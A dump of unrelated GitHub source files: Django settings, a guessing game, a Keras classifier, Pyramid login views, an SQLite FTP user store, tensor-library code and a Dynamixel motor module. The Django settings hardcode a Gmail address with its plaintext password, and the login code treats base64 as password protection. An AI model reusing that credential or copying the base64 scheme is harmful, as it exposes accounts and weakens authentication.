}\n}\n\n\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\nEMAIL_USE_TLS = True\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_HOST_USER = 'fbb.msu.general@gmail.com'\nEMAIL_HOST_PASSWORD = 'google06'\nEMAIL_PORT = 587\n\nSTATIC_URL = '/static/'\nSTATIC_ROOT = config_get('static', 'STATIC_ROOT')\nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, 'static'),\n]\n\nMEDIA_URL = '/media/'\nMEDIA_ROOT = config_get('media', 'MEDIA_ROOT')\n\nLOGIN_URL = '/users/auth/'\nLOGIN_REDIRECT_URL = '/'\n\nSITE_ID = 1\n\nWEBPACK_LOADER = {\n 'DEFAULT': {\n 'BUNDLE_DIR_NAME': 'bundles/',\n 'STATS_FILE': os.path.join(BASE_DIR, 'webpack-stats-prod.json'),\n }\n}\n\nTINYMCE_CONFIG = {\n 'selector': 'textarea',\n 'theme': 'modern',\n 'plugins': 'link image preview codesample contextmenu table code lists',\n 'toolbar1': 'bold italic underline | alignleft aligncenter alignright alignjustify '\n '| bullist numlist | outdent indent | table | link image | codesample | preview code',\n 'contextmenu': 'formats | link image',\n 'menubar': False,\n 'inline': False,\n 'statusbar': True,\n 'height': 360,\n}","repo_name":"Akado2009/fbb_site","sub_path":"app/base_settings.py","file_name":"base_settings.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33990586144","text":"import pytest\r\nfrom main import *\r\n\r\n\r\n@pytest.mark.parametrize(\"expected\", [\"Washington\", \"Adams\", \"Jefferson\", \"Madison\", \"Monroe\",\r\n \"Jackson\", \"Buren\", \"Harrison\", \"Tyler\", \"Polk\", \"Taylor\",\r\n \"Fillmore\", \"Pierce\", \"Buchanan\", \"Lincoln\", \"Johnson\",\r\n \"Grant\", \"Hayes\", \"Garfield\", \"Arthur\", \"Cleveland\",\r\n \"McKinley\", \"Roosevelt\", \"Taft\", \"Wilson\",\r\n \"Harding\", \"Coolidge\", \"Hoover\", \"Truman\",\r\n \"Eisenhower\", \"Kennedy\", \"Nixon\", \"Ford\", \"Carter\",\r\n \"Reagan\", \"Bush\", \"Clinton\", \"Obama\", \"Trump\", \"Biden\"])\r\ndef test_ddg_search(expected):\r\n assert expected in ddg_search(\"presidents of the united states\")\r\n","repo_name":"zachwylie/duckduckgo-lesson10","sub_path":"test_duckduckgo.py","file_name":"test_duckduckgo.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1704512126","text":"\"\"\"Following code is an implementation of a game.\nA random number between 1 and 100 is chosen by the machine. You as a user have to make guesses.\nThe temperature determines how close you're to the number\nFoe example: The closer you get to the number, the HOTTER it gets. Similarly, further you get away from the number, the COLDER it gets.\nMake your guesses based on that judgement.\n\nAlso make sure 'art.py' and this main file are in the same folder / location.\n\nTo generate your own logo or ASCII art, please go to the website 'www.patorjk.com/software' and select ASCII Art Generator.\n\"\"\"\n\nimport random\nfrom art import logo\n\nEASY_LEVEL_ATTEMPTS = 10\nHARD_LEVEL_ATTEMPTS = 5\n\n\ndef compareTheNumbers(randomNumber, attempts):\n \"\"\"Checks the answer against the user's guess\n Returns the amount of attempts user has left\"\"\"\n\n correctInput = True\n\n while correctInput:\n usersGuess = int(input(\"Guess the Number: \"))\n if usersGuess < 0 or usersGuess > 100:\n correctInput = True\n print(\"Please select the number in appropriate range. Try again.\")\n else:\n correctInput = False\n\n if randomNumber == usersGuess:\n print(\n f\"You got it! You win! The number which I guessed was {randomNumber}.\"\n )\n return 0\n\n elif ((randomNumber - 3) < usersGuess) and (\n (randomNumber + 3) > usersGuess):\n print(\"Its STEAMING! You seem so close!\")\n attempts -= 1\n print(f\"You have {attempts} attempts remaining.\\n\")\n\n elif ((randomNumber - 6) < usersGuess) and (\n (randomNumber + 6) > usersGuess):\n print(\"Its very HOT!\")\n attempts -= 1\n print(f\"You have {attempts} attempts remaining.\\n\")\n\n elif ((randomNumber - 11) < usersGuess) and (\n (randomNumber + 11) > usersGuess):\n print(\"Its HOT!\")\n attempts -= 1\n print(f\"You have {attempts} attempts remaining.\\n\")\n\n elif ((randomNumber - 16) < usersGuess) and (\n (randomNumber + 16) > usersGuess):\n print(\"Its warm\")\n attempts -= 1\n print(f\"You have {attempts} attempts remaining.\\n\")\n\n elif ((randomNumber - 21) < usersGuess) and (\n (randomNumber + 21) > usersGuess):\n print(\"Its cold!\")\n attempts -= 1\n print(f\"You have {attempts} attempts remaining.\\n\")\n\n elif ((randomNumber - 31) < usersGuess) and (\n (randomNumber + 31) > usersGuess):\n print(\"Its very cold! You seem far.\")\n attempts -= 1\n print(f\"You have {attempts} attempts remaining.\\n\")\n\n elif ((randomNumber - 41) < usersGuess) and (\n (randomNumber + 41) > usersGuess):\n print(\"Its chilling! You seem very far.\")\n attempts -= 1\n print(f\"You have {attempts} attempts remaining.\\n\")\n\n else:\n print(\"Too far!\")\n attempts -= 1\n print(f\"You have {attempts} attempts remaining.\\n\")\n\n if attempts == 0:\n print(\"You lose :/\")\n\n return attempts\n\n\nprint(logo)\nprint(\"Welcome to the Number Guessing Game!\\n\")\nprint(\n \"I am thinking of a number between 1 and 100. Can you find out what that number is? :D\\n\"\n)\nrandomNumber = random.randint(1, 100)\ndifficultyLevel = input(\"Choose the difficulty level: 'easy' or 'hard'? \")\n\nif difficultyLevel == 'easy':\n attempts = EASY_LEVEL_ATTEMPTS\n\nelif difficultyLevel == 'hard':\n attempts = HARD_LEVEL_ATTEMPTS\n\nelse:\n print(\"Invalid Selection. Please try again.\")\n attempts = 0\n\n#For testing purposes\n#print(f\"Shhhh, the number is {randomNumber}.\")\n\nprint(f\"\\nYou have total {attempts} attempts.\")\n\nwhile attempts != 0:\n attempts = compareTheNumbers(randomNumber, attempts)\n","repo_name":"Clandoor/BasicPythonProjects","sub_path":"Guess the Number Game/guessTheNumber.py","file_name":"guessTheNumber.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33460992459","text":"import time\n\nfrom keras.preprocessing.image import img_to_array\nfrom keras.models import load_model\nimport numpy as np\nimport imutils\nimport pickle\nimport cv2\nfrom imutils.video import VideoStream\n\nvs = VideoStream(src=0).start()\ntime.sleep(2.0)\n\nprint(\"[INFO] taking pic in 3...\")\ntime.sleep(3.0)\nframe = vs.read()\nimage = imutils.resize(frame, width=260)\noutput = image.copy()\nimage = cv2.resize(image, (96, 96))\nimage = image.astype(\"float\") / 255.0\nimage = img_to_array(image)\nimage = np.expand_dims(image, axis=0)\n\nprint(\"[INFO] loading network...\")\nmodel = load_model(\"assets/pokedex.model\")\nprint(\"[INFO] loading labels...\")\nlb = pickle.loads(open(\"assets/lb.pickle\", \"rb\").read())\n\n\n# classify the input image\nprint(\"[INFO] classifying image...\")\nproba = model.predict(image)[0]\nidx = np.argmax(proba)\nlabel = lb.classes_[idx]\n\n# build the label and draw the label on the image\nlabel = \"{}: {:.2f}%\".format(label, proba[idx] * 100)\noutput = imutils.resize(output, width=400)\ncv2.putText(output, label, (10, 25), cv2.FONT_HERSHEY_SIMPLEX,\n 0.7, (0, 255, 0), 2)\n\ncv2.imwrite(\"results/\" + label + \".jpg\", output)\n\n# show the output image\nprint(\"[INFO] {}\".format(label))\n# cv2.imshow(\"Output\", output)\n# cv2.waitKey(0)\n","repo_name":"JaniPaasiluoto/pokemon-detector","sub_path":"detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12022421452","text":"import argparse\nimport json\nimport pbapi\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Lists all beacon ')\n parser.add_argument('creds',\n nargs='?',\n help='Path to JSON file containing service account credentials authorized to call the Google Proximity Beacon API')\n parser.add_argument('--names-only', action='store_true', help='Only output names, rather than full JSON')\n parser.add_argument('--project-id', help='Project ID run this command on.')\n parser.add_argument('--access-token', help='OAuth Access token to use. Incompatible with specifying creds.')\n args = parser.parse_args()\n\n project = args.project_id\n\n pb_client = None\n if args.creds is not None:\n pb_client = pbapi.build_client_from_json(args.creds)\n elif args.access_token is not None:\n pb_client = pbapi.build_client_from_access_token(args.access_token)\n else:\n print('[ERROR] No usable access credentials specified. Cannot create API client.')\n exit(1)\n \n beacons = pb_client.list_beacons(project)\n\n if args.names_only:\n beacon_names = map(lambda b: b['beaconName'], beacons)\n for beacon in beacon_names:\n print(beacon)\n else:\n for beacon in beacons:\n print(json.dumps(beacon))\n \nif __name__ == \"__main__\":\n main()\n\n","repo_name":"tymiles003/beacon-platform","sub_path":"samples/python/list_beacons.py","file_name":"list_beacons.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"22127352578","text":"#!/usr/bin/env python3.4\n# -*- coding: utf-8 -*-\n\"\"\"\n__title__ = ''\n__author__ = 'cuizc'\n__mtime__ = '2016-08-03'\n\"\"\"\n\nimport base64\nimport transaction\nfrom pyramid.httpexceptions import HTTPFound\nfrom pyramid.renderers import render_to_response\nfrom pyramid.view import view_config\n\nfrom brms.service.loginutil import UserTools\nfrom ..models.model import SysUser\nfrom ..common.dateutils import get_welcome\nfrom ..service.menu_service import get_user_menu\nfrom ..service.log_service import HyLog\n\n\n@view_config(route_name='home')\ndef index(request):\n welcome = get_welcome()\n if 'loginUserSession' not in request.session:\n try:\n user_id = request.session['userId']\n user_account = request.session['userAccount']\n except:\n return HTTPFound(request.route_url('login'))\n\n HyLog.log_access(request.client_addr, user_account, 'index')\n\n dbs = request.dbsession\n sys_menu_list = get_user_menu(dbs, user_id)\n login_user_session = {\n 'sys_menu': True if len(sys_menu_list) > 0 else False,\n 'sysMenuList': sys_menu_list,\n }\n request.session['loginUserSession'] = login_user_session\n return render_to_response('index.html', locals(), request)\n\n\n@view_config(route_name='login')\ndef login(request):\n if request.method == 'POST':\n # code = request.params['validate']\n # if code:\n # if code != request.session['validate']:\n # error_msg = '验证码错误'\n # request.session['error_msg'] = error_msg\n # return render_to_response('index.html', locals(), request)\n\n dbs = request.dbsession\n user_name = request.params['userName']\n\n password = base64.encodestring(request.params['password'].encode()).decode('utf-8').replace('\\n', '')\n error_msg = None\n user = None\n if not user_name:\n error_msg = '用户名不能为空'\n elif not password:\n error_msg = '密码不能为空'\n else:\n with transaction.manager:\n user = dbs.query(SysUser).filter(SysUser.user_account == user_name).first()\n if not user:\n error_msg = '用户不存在'\n elif user.err_count >= 5:\n if UserTools.unlock(user):\n request.session['userAccount'] = user_name\n request.session['userId'] = user.id\n request.session['userOrgId'] = user.org_id\n request.session['user_name_db'] = user.user_name\n\n HyLog.log_in(request.client_addr, user_name, 'success')\n return HTTPFound(request.route_url(\"home\"))\n else:\n error_msg = '密码错误超过5次,账号已冻结,次日解冻'\n elif password != user.user_pwd:\n error_msg = '密码错误'\n UserTools.count_err(user)\n dbs.flush()\n else:\n request.session['userAccount'] = user_name\n request.session['userId'] = user.id\n request.session['userOrgId'] = user.org_id\n request.session['user_name_db'] = user.user_name\n\n HyLog.log_in(request.client_addr, user_name, 'success')\n\n return HTTPFound(request.route_url(\"home\"))\n\n if error_msg:\n request.session['error_msg'] = error_msg\n\n HyLog.log_in(request.client_addr, user_name, 'failed. error_msg: '+error_msg)\n return render_to_response('login.html', locals(), request)\n else:\n return render_to_response('login.html', {}, request)\n\n\n@view_config(route_name='logout')\ndef logout(request):\n try:\n user = request.session['userAccount']\n del(request.session['userAccount'])\n del(request.session['userId'])\n del(request.session['userOrgId'])\n del(request.session['user_name_db'])\n del(request.session['loginUserSession'])\n HyLog.log_out(request.client_addr, user)\n except:\n pass\n return HTTPFound(request.route_url('login'))\n","repo_name":"yyxiao/boardroom","sub_path":"brms/views/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3963689863","text":"import sqlite3\nfrom sqlite3 import Error\nimport os\nfrom init_db import FTPdb\n\n\nclass DatabaseFTP(FTPdb):\n # execute_query - ordinary\n # execute_read_query - returning query\n\n def __init__(self, catalog, file_name=\"FTP_server_bd\"):\n \"\"\"\n :param catalog: name of catalog which files in\n :param file_name: name of file which stores database\n \"\"\"\n super(DatabaseFTP, self).__init__(catalog, file_name)\n\n def get_user(self, name):\n \"\"\"\n :param name: name of user\n :return List: [password, group]\n \"\"\"\n if self.is_exist_user(name):\n query = \"\"\"\n SELECT * FROM %s\n WHERE name = ?\n \"\"\" % self.users_table\n t = (name,)\n res = self.execute_read_query(query, t)\n passw = self.execute_read_query(\"\"\"\n SELECT name\n FROM %s\n WHERE id = ?\n \"\"\" % self.groups_table, (res[0][3],))\n return [res[0][2], passw[0][0]]\n\n def set_user(self, name, passw, group=None):\n \"\"\"\n \"\"\"\n group_name = group if group else self.COMMON_GROUP\n if self.is_exist_group(group_name):\n query = \"\"\"\n SELECT id \n FROM %s\n WHERE name = '%s'\n \"\"\" % (self.groups_table, group_name)\n group_id = self.execute_read_query(query)[0][0]\n query = \"\"\"\n INSERT INTO\n %s \n VALUES (NULL, ?, ?, ?)\n \"\"\" % self.users_table\n t = (name, passw, group_id)\n self.execute_query(query, t)\n\n def get_group_of_user(self, name):\n \"\"\"\n get group of user\n :param String name: name of user\n :return String: name of group\n \"\"\"\n if self.is_exist_user(name):\n query = \"\"\"\n SELECT * FROM %s\n WHERE name = ?\n \"\"\" % self.users_table\n t = (name,)\n res = self.execute_read_query(query, t)\n query = \"\"\"\n SELECT name FROM %s\n WHERE id = %d\n \"\"\" % (self.groups_table, res[0][3])\n group = self.execute_read_query(query)[0][0]\n return group\n\n def set_group_to_user(self, name, group):\n \"\"\"\n :param name: name of User\n :param group: name of Group\n \"\"\"\n query = \"\"\"\n SELECT id FROM %s\n WHERE name = ?\n \"\"\" % self.groups_table\n t = (group,)\n group_id = self.execute_read_query(query, t)\n\n # make group if ones absent\n if not group_id:\n query = query = \"\"\"\n INSERT INTO\n %s (NULL, ?)\n VALUES\n \"\"\" % self.groups_table\n t = (group,)\n self.execute_read_query(query, t)\n group_id = group_id[0][0]\n query = \"\"\"\n UPDATE %s\n SET group_id = %d\n WHERE name = ?\n \"\"\" % (self.users_table, group_id)\n t = (name,)\n self.execute_read_query(query, t)\n\n def get_all_users(self):\n \"\"\"\n :return String: all users\n \"\"\"\n query = \"\"\"\n SELECT * \n FROM %s\n \"\"\" % self.users_table\n users = self.execute_read_query(query)\n res = 'Username\\t|\\tGroup\\n'\n\n for key in users:\n res += key[1] + \":\\t\\t\" # name\n query = \"\"\"\n SELECT name \n FROM %s\n WHERE id = %d\n \"\"\" % (self.groups_table, key[3]) # group\n group = self.execute_read_query(query)[0][0]\n res += group + \"\\n\"\n return res\n\n def get_file_rules(self, group, file):\n \"\"\"\n :param String group: name of group\n :param String file: absolute path to file\n :return String: 'rwx'\n \"\"\"\n if self.is_exist_group(group) and self.is_exist_file(file):\n group_id = self.get_group_id(group)\n file_id = self.get_file_id(file)\n query = \"\"\"\n SELECT rule\n FROM %s\n WHERE group_id = %d and file_id = %d\n \"\"\" % (self.groups_files_table, group_id, file_id)\n res = self.execute_read_query(query)\n if res:\n if res[0]:\n return res[0][0]\n\n def get_list_groups(self):\n res = ''\n query = \"\"\"\n SELECT *\n FROM %s\n \"\"\" % self.groups_table\n groups = self.execute_read_query(query)\n for key in groups:\n res += key[1] + \"\\n\"\n return res\n\n def get_files_list(self):\n query = \"\"\"\n SELECT *\n FROM %s\n \"\"\" % self.files_table\n files = self.execute_read_query(query)\n res = ''\n for key in files:\n res += self.get_file_rules(self.COMMON_GROUP, key[1])[0] + '\\t'\n res += key[1]\n res += '\\n'\n return res\n\n\nif __name__ == \"__main__\":\n ul = DatabaseFTP(\"storage\", \"FTP_server_bd.db\")\n ul.set_user(\"tolik\", \"123qwe\")\n ul.set_group_to_user(\"tolik\", \"common\")\n print(ul.get_user(\"tolik\"))\n print(ul.get_group_of_user(\"tolik\"))\n print(ul.get_all_users())\n print(ul.get_list_groups())\n print(ul.get_files_list())\n print(ul.is_exist_group('common'))\n print(ul.get_file_rules('common', 'C:\\\\Users\\\\crash\\\\OneDrive\\\\Рабочий стол\\\\Домашка\\\\6_term\\\\The network\\\\ccccc\\\\server\\\\storage\\\\README'))\n\n","repo_name":"KartoonYoko/6_term","sub_path":"The network/ccccc/server/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":5703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35378553437","text":"try:\n import mxnet as mx\n from mxnet import numpy as np\nexcept ImportError as error:\n message = (\n \"Cannot import MXNet.\\n\"\n \"To use TensorLy with the MXNet backend, \"\n \"you must first install MXNet!\"\n )\n raise ImportError(message) from error\n\nimport numpy\nfrom .core import Backend, backend_basic_math, backend_array\n\nmx.npx.set_np()\n\n\nclass MxnetBackend(Backend, backend_name=\"mxnet\"):\n def __init__(name):\n message = (\n \"The MXNet backend is deprecated and will be removed in future versions.\\n\"\n \"Please transition to another backend.\"\n )\n DeprecationWarning(message)\n super().__init__()\n\n @staticmethod\n def context(tensor):\n return {\"dtype\": tensor.dtype}\n\n @staticmethod\n def tensor(data, dtype=None, **kwargs):\n if dtype is None and isinstance(data, numpy.ndarray):\n dtype = data.dtype\n return np.array(data, dtype=dtype)\n\n @staticmethod\n def is_tensor(tensor):\n return isinstance(tensor, np.ndarray)\n\n @staticmethod\n def to_numpy(tensor):\n if isinstance(tensor, np.ndarray):\n return tensor.asnumpy()\n elif isinstance(tensor, numpy.ndarray):\n return tensor\n else:\n return numpy.array(tensor)\n\n @staticmethod\n def ndim(tensor):\n return tensor.ndim\n\n @staticmethod\n def clip(tensor, a_min=None, a_max=None):\n return np.clip(tensor, a_min, a_max)\n\n @staticmethod\n def conj(x, *args, **kwargs):\n \"\"\"WARNING: IDENTITY FUNCTION (does nothing)\n\n This backend currently does not support complex tensors\n \"\"\"\n return x\n\n def svd(self, X, full_matrices=True):\n # MXNet doesn't provide an option for full_matrices=True\n if full_matrices is True:\n ctx = self.context(X)\n X = self.to_numpy(X)\n\n if X.shape[0] > X.shape[1]:\n U, S, V = numpy.linalg.svd(X.T)\n\n U, S, V = V.T, S, U.T\n else:\n U, S, V = numpy.linalg.svd(X)\n\n U = self.tensor(U, **ctx)\n S = self.tensor(S, **ctx)\n V = self.tensor(V, **ctx)\n\n return U, S, V\n\n if X.shape[0] > X.shape[1]:\n U, S, V = np.linalg.svd(X.T)\n\n U, S, V = V.T, S, U.T\n else:\n U, S, V = np.linalg.svd(X)\n\n return U, S, V\n\n @staticmethod\n def logsumexp(x, axis=0):\n max_x = np.max(x, axis=axis, keepdims=True)\n return np.squeeze(\n max_x + np.log(np.sum(np.exp(x - max_x), axis=axis, keepdims=True)),\n axis=axis,\n )\n\n\nfor name in (\n backend_basic_math\n + backend_array\n + [\n \"int64\",\n \"int32\",\n \"float64\",\n \"float32\",\n \"pi\",\n \"e\",\n \"inf\",\n \"nan\",\n \"moveaxis\",\n \"copy\",\n \"transpose\",\n \"arange\",\n \"trace\",\n \"concatenate\",\n \"max\",\n \"sign\",\n \"flip\",\n \"mean\",\n \"sum\",\n \"argmin\",\n \"argmax\",\n \"stack\",\n \"diag\",\n \"log2\",\n \"tensordot\",\n \"exp\",\n \"argsort\",\n \"sort\",\n \"dot\",\n \"shape\",\n ]\n):\n MxnetBackend.register_method(name, getattr(np, name))\n\nfor name in [\"solve\", \"qr\", \"eigh\", \"lstsq\"]:\n MxnetBackend.register_method(name, getattr(np.linalg, name))\n","repo_name":"tensorly/tensorly","sub_path":"tensorly/backend/mxnet_backend.py","file_name":"mxnet_backend.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":1459,"dataset":"github-code","pt":"67"} +{"seq_id":"37780352600","text":"import numpy as np\nimport tensorflow as tf\n\n# input[0] (20, 1, 512, 1024)\n# input[1] (20, 1024, 9984)\n\n\nE = 2\nG = 1\nC = 2\nM = 3\n\nH = 2\n\n\nx = np.full((E, G, C, M), 1.0)\ny = np.full((E, M, H), 2.0)\n\nx = tf.convert_to_tensor(x)\ny = tf.convert_to_tensor(y)\n\nz = tf.matmul(x,y)\n\ne = tf.einsum('EGCM,EMH->EGCH',x,y)\n\nwith tf.Session() as sess:\n print(sess.run(z))\n print(\"########\")\n print(sess.run(e))\n","repo_name":"cding-nv/study","sub_path":"tensorflow_op/matmul_einsum/m1.py","file_name":"m1.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9910378947","text":"from enum import Enum\nimport random\nfrom typing import List, Union\n\n\n# StrEnum cannot be used because of old python\nclass ErrorMode(str, Enum):\n SAMPLE_FIRST = \"sample_first\"\n RAISE_ERROR = \"raise_error\"\n\n\nclass UniformFrameSampler:\n def __init__(\n self,\n num_frames: int,\n frame_step: int,\n error_mode: Union[ErrorMode, str] = ErrorMode.SAMPLE_FIRST\n ) -> None:\n self._num_frames = num_frames\n self._step = frame_step\n self._length = num_frames * frame_step\n self._error_mode = ErrorMode(error_mode)\n\n def __call__(self, total_num_frames: int) -> List[int]:\n max_offset = total_num_frames - self._length\n\n if max_offset >= 0:\n start = random.randint(0, max_offset)\n return list(range(start, start + self._length, self._step))\n\n if self._error_mode is ErrorMode.SAMPLE_FIRST:\n return self._num_frames * [0]\n\n raise RuntimeError(\"Video too short!\")\n\n","repo_name":"quickjkee/t2i_sd","sub_path":"consistency_models-sd/cm/yt/processing/frame_samplers.py","file_name":"frame_samplers.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17905475810","text":"import logging\nimport traceback\nfrom collections import defaultdict\nfrom copy import deepcopy\nfrom typing import Any, Dict, List, Optional\n\nfrom pygdbmi.gdbcontroller import GdbController # type: ignore\n\nREQUIRED_GDB_FLAGS = [\"--interpreter=mi2\"]\nlogger = logging.getLogger(__name__)\n\n\nclass StateManager(object):\n def __init__(self, config: Dict[str, Any]):\n self.controller_to_client_ids: Dict[GdbController, List[str]] = defaultdict(\n list\n ) # key is controller, val is list of client ids\n self.gdb_reader_thread = None\n self.config = config\n\n def connect_client(self, client_id: str, desired_gdbpid: int) -> Dict[str, Any]:\n message = \"\"\n pid: Optional[int] = 0\n error = False\n using_existing = False\n\n if desired_gdbpid > 0:\n controller = self.get_controller_from_pid(desired_gdbpid)\n\n if controller:\n self.controller_to_client_ids[controller].append(client_id)\n message = (\n \"gdbgui is using existing subprocess with pid %s, \"\n \"originally opened with command %s\"\n ) % (str(desired_gdbpid), controller.get_subprocess_cmd())\n using_existing = True\n pid = desired_gdbpid\n else:\n print(\"error! could not find that pid\")\n message = \"Could not find a gdb subprocess with pid %s. \" % str(\n desired_gdbpid\n )\n error = True\n\n if self.get_controller_from_client_id(client_id) is None:\n logger.info(\"new sid\", client_id)\n\n gdb_args = (\n deepcopy(self.config[\"initial_binary_and_args\"])\n + deepcopy(self.config[\"gdb_args\"])\n + REQUIRED_GDB_FLAGS\n )\n\n controller = GdbController(\n gdb_path=self.config[\"gdb_path\"],\n gdb_args=gdb_args,\n rr=self.config[\"rr\"],\n )\n self.controller_to_client_ids[controller].append(client_id)\n\n pid = self.get_pid_from_controller(controller)\n if pid is None:\n error = True\n message = \"Developer error\"\n else:\n message += \"gdbgui spawned subprocess with pid %s from command %s.\" % (\n str(pid),\n controller.get_subprocess_cmd(),\n )\n\n return {\n \"pid\": pid,\n \"message\": message,\n \"error\": error,\n \"using_existing\": using_existing,\n }\n\n def remove_gdb_controller_by_pid(self, gdbpid: int) -> List[str]:\n controller = self.get_controller_from_pid(gdbpid)\n if controller:\n orphaned_client_ids = self.remove_gdb_controller(controller)\n else:\n logger.info(\"could not find gdb controller with pid \" + str(gdbpid))\n orphaned_client_ids = []\n return orphaned_client_ids\n\n def remove_gdb_controller(self, controller: GdbController) -> List[str]:\n try:\n controller.exit()\n except Exception:\n logger.error(traceback.format_exc())\n orphaned_client_ids = self.controller_to_client_ids.pop(controller, [])\n return orphaned_client_ids\n\n def get_client_ids_from_gdb_pid(self, pid: int) -> List[str]:\n controller = self.get_controller_from_pid(pid)\n return self.controller_to_client_ids.get(controller, [])\n\n def get_client_ids_from_controller(self, controller: GdbController):\n return self.controller_to_client_ids.get(controller, [])\n\n def get_pid_from_controller(self, controller: GdbController) -> Optional[int]:\n if controller and controller.gdb_process:\n return controller.gdb_process.pid\n\n return None\n\n def get_controller_from_pid(self, pid: int) -> Optional[GdbController]:\n for controller in self.controller_to_client_ids:\n this_pid = self.get_pid_from_controller(controller)\n if this_pid == pid:\n return controller\n\n return None\n\n def get_controller_from_client_id(self, client_id: str) -> Optional[GdbController]:\n for controller, client_ids in self.controller_to_client_ids.items():\n if client_id in client_ids:\n return controller\n\n return None\n\n def exit_all_gdb_processes(self):\n logger.info(\"exiting all subprocesses\")\n for controller in self.controller_to_client_ids:\n controller.exit()\n self.controller_to_client_ids.pop(controller)\n\n def get_dashboard_data(self):\n data = {}\n for controller, client_ids in self.controller_to_client_ids.items():\n if controller.gdb_process:\n pid = str(controller.gdb_process.pid)\n else:\n pid = \"process no longer exists\"\n data[pid] = {\n \"cmd\": \" \".join(controller.cmd),\n \"abs_gdb_path\": controller.abs_gdb_path,\n \"number_of_connected_browser_tabs\": len(client_ids),\n \"client_ids\": client_ids,\n }\n return data\n\n def disconnect_client(self, client_id: str):\n for _, client_ids in self.controller_to_client_ids.items():\n if client_id in client_ids:\n client_ids.remove(client_id)\n\n def _spawn_new_gdb_controller(self):\n pass\n\n def _connect_to_existing_gdb_controller(self):\n pass\n","repo_name":"proganalysis/python3_types","sub_path":"Result/4079files/source/4044.py","file_name":"4044.py","file_ext":"py","file_size_in_byte":5511,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"755117277","text":"#!/usr/bin/env python\r\n\"\"\"\r\n@author Bruce Iverson\r\n\"\"\"\r\n\r\nfrom __future__ import annotations\r\nfrom dataclasses import dataclass, field\r\nimport os\r\nfrom typing import Any, Optional\r\nimport dynio as dynamixel\r\nfrom enum import IntEnum, Enum\r\nimport time\r\nimport math\r\nimport logging\r\nimport asyncio\r\nimport sys\r\n\r\nfrom .unit_conversions import *\r\nimport rsl.rr_two_link.util as util\r\n\r\n\r\nclass PowerState(Enum):\r\n ON = \"TORQUE_ENABLED\"\r\n OFF = \"TORQUE_DISABLED\"\r\n\r\n\r\nclass CommunicationState(IntEnum):\r\n GOOD = 1\r\n ERROR = 255\r\n\r\n\r\nclass DynamixelConnectionError(Exception):\r\n pass\r\n\r\n\r\n@dataclass\r\nclass MotorLimits:\r\n min_angle:float\r\n max_angle:float\r\n max_velocity:float\r\n max_current:float\r\n\r\n\r\nDEFAULT_MOTOR_LIMITS = MotorLimits(\r\n 0,\r\n 2*math.pi,\r\n 7.91, # 7.91366521 rad/sec \r\n 1193*MILLI_AMPS_PER_UNIT # mA\r\n)\r\n\r\n\r\n@dataclass\r\nclass DynamixelState:\r\n \"\"\"These objects are constructed with the values read out of the dynamixel motor to be the main parameters, and property methods defined for unit conversions\"\"\"\r\n state:CommunicationState\r\n position_raw:float # raw, .008 deg/unit\r\n velocity_raw:Optional[float] = field(default=None) # raw, .229 rpm\r\n current_raw:Optional[float] = field(default=None) # 2.69 mA, ranging from 0 to 1,193 \r\n temperature:Optional[float] = field(default=None)\r\n timestamp:float = field(default_factory=time.monotonic) # want to use a monotonic clock here so age never times out in unexpected ways\r\n\r\n @property \r\n def age(self) -> float:\r\n \"\"\"The age of the status in seconds\"\"\"\r\n return time.monotonic() - self.timestamp\r\n\r\n @property\r\n def expired(self) -> bool:\r\n return self.age > .1\r\n\r\n @property\r\n def position(self) -> float:\r\n return convert_raw_position_to_radians(self.position_raw)\r\n\r\n @property \r\n def velocity_rpm(self) -> float:\r\n \"\"\"Returns the velocity in RPM\"\"\"\r\n if self.velocity_raw is None: return None\r\n return convert_raw_velocity_to_rpm(self.velocity_raw)\r\n\r\n @property \r\n def velocity(self) -> float:\r\n \"\"\"Returns the velocity in radians/sec\"\"\"\r\n if self.velocity_raw is None: return None\r\n return convert_raw_velocity_to_radians_per_second(self.velocity_raw)\r\n\r\n @property\r\n def current(self) -> float:\r\n \"\"\"Returns the current in milliamps\"\"\"\r\n if self.current_raw is None: return None\r\n return convert_raw_current_to_milliamps(self.current_raw)\r\n\r\n @property\r\n def simple_repr(self) -> str:\r\n s = f\"position: {util.prettify_radians(self.position)};\"\r\n if self.velocity is not None:\r\n s += f\" velocity {util.prettify_radians(self.velocity)}/sec;\"\r\n if self.temperature is not None:\r\n s += f' temp {self.temperature} C;'\r\n if self.current is not None:\r\n s += f\" current_raw {round(self.current,2)} mA\"\r\n return s\r\n\r\n @property\r\n def simple_repr_raw_values(self) -> str:\r\n position = f\"position: {util.prettify_radians(self.position)};\"\r\n return f\"{position} velocity_raw {self.velocity_raw}; temp_raw {self.temperature} C; current_raw {self.current_raw}\"\r\n\r\n\r\nclass DynamixelControlMode(IntEnum):\r\n CURRENT = 0\r\n VELOCITY = 1\r\n POSITION = 3\r\n EXTENDED_POSITION = 4\r\n CURRENT_BASED_POSITION = 5\r\n PWM = 6 # THIS IS 